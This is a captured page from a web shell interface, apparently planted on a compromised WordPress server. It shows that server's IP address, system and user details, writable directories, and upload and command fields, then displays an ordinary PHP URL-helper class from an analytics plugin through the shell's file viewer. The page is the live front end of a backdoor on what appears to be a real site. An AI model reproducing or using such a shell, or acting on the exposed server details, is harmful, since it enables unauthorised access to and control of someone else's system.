403Webshell
Server IP : 35.236.43.222  /  Your IP : 216.73.216.143
Web Server : Apache
System : Linux order-form-vm-001 5.10.0-37-cloud-amd64 #1 SMP Debian 5.10.247-1 (2025-12-11) x86_64
User : deploy ( 1002)
PHP Version : 8.1.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/ravel.network/public/wp-content/plugins/independent-analytics/IAWP/Utils/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/ravel.network/public/wp-content/plugins/independent-analytics/IAWP/Utils/URL.php
<?php

namespace IAWP\Utils;

use IAWPSCOPED\Illuminate\Support\Str;
use IAWPSCOPED\League\Uri\Contracts\UriException;
use IAWPSCOPED\League\Uri\Uri;
/** @internal */
class URL
{
    private $url;
    public function __construct(string $url)
    {
        $this->url = $url;
    }
    public function is_valid_url() : bool
    {
        $valid_url = \filter_var($this->url, \FILTER_VALIDATE_URL);
        if (!$valid_url) {
            return \false;
        }
        try {
            // Recommend approach for uri validation: https://uri.thephpleague.com/uri/6.0/rfc3986/#uri-validation
            $components = Uri::createFromString($this->url);
            if (\is_null($components->getHost())) {
                return \false;
            }
            return \true;
        } catch (UriException $e) {
            return \false;
        }
    }
    public function get_url() : ?string
    {
        if (!$this->is_valid_url()) {
            return null;
        }
        return $this->url;
    }
    public function get_domain() : ?string
    {
        if (!$this->is_valid_url()) {
            return null;
        }
        return Uri::createFromString($this->url)->getHost();
    }
    public function get_extension() : ?string
    {
        if (!$this->is_valid_url()) {
            return null;
        }
        $path = Uri::createFromString($this->url)->getPath();
        $file = Str::afterLast($path, '/');
        $extension = Str::afterLast($file, '.');
        return $extension !== "" ? $extension : null;
    }
    public function get_path() : ?string
    {
        if (!$this->is_valid_url()) {
            return null;
        }
        return Uri::createFromString($this->url)->getPath();
    }
    public static function new(string $url) : self
    {
        return new self($url);
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit